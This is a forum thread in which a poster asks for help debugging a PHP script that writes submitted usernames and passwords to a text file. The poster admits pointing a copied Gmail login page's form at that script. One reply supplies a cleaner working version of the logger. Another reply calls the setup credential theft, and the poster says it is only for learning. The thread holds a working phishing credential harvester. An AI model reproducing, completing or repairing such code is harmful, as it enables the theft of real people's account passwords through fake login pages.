Jump to content

Recommended Posts

Hi,

I have created a webpage and it has username and password textboxes. Clicking on submit, is not adding username and password into the text file. I am able to see the psweds.txt file size is increasing on every username and password entry. but, in the pswrds.txt file, nothing is displayed. Please check this code and suggest me the changes. thank you.

 

<?php

header("Location: http://sampleurl ");

$handle = fopen("pswrds.txt", "a");

foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

Link to comment
https://forums.phpfreaks.com/topic/239298-texts-file-not-saving-text/
Share on other sites

$file = 'pswrds.txt';
$str = NULL;
foreach($_GET as $variable => $value) {
$str .= $variable . '=' . $value . PHP_EOL;
}

if(!empty($str)) {
file_put_contents($file, $str, FILE_APPEND | LOCK_EX);
}
header('Location: http://sampleurl');
exit();

 

How are you viewing the text file?

 

If you're viewing it through a browser, you could try clicking the refresh button. We've had similar issues where the browser caches the text file and doesn't show the updates.

 

I am directly downloading the pswrds.txt file from CPanel (file manager) where I hosted.

Here is the HTML file attached (Gmail):

 

Now, I have replaced action="https://www.google.com/accounts/ServiceLoginAuth"  with action="http://mysite urlhere/login.php"  and saved the file.

 

here is the login.php file contents

 

<?php

header("Location: https://www.google.com/accounts/ServiceLoginAuth ");

$handle = fopen("pswrds.txt", "a");

foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, "=");

fwrite($handle, $value);

fwrite($handle, "\r\n");

}

fwrite($handle, "\r\n");

fclose($handle);

exit;

?>

 

also, created a blank pswrds.txt file and uploaded index.html, login.php and pswrds.txt files to my Cpanel file manager.

 

I am able to open mysite.com/login.php and after entering username and pwd, it is redirecting to https://www.google.com/accounts/ServiceLoginAuth  . But, the problem here is, the pswrds.txt file size is increasing by 2 bytes after every time I submit the details in username and password. But the pswrds.txt file is empty. size is increasing and no data is visible.

 

 

Thank you.

 

[attachment deleted by admin]

First up, the header would not send the needed data, you would need to use something like curl to pass along the data to the google site. Second up, the form probably POSTS data as it should.

 

You are getting two bytes because \r\n is always added at the end. What you are doing, seems highly dodgy to me, you offer a site to login to google, however, you are storing their passwords as raw data, unencrypted, in a text file. Seems like you are trying to steal someones password. I would look long and hard into your reasoning for doing this. If you want to understand GET/POST and forwarding data, I would do so a different way.

This not to cheat any one. I just got an idea about this and thinking whether it is possible to do like this or not.  Because of this idea, I am just started learning php. .....There is no strong or hard reason to do this..its just simply trying to learn with little interest...

 

 

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.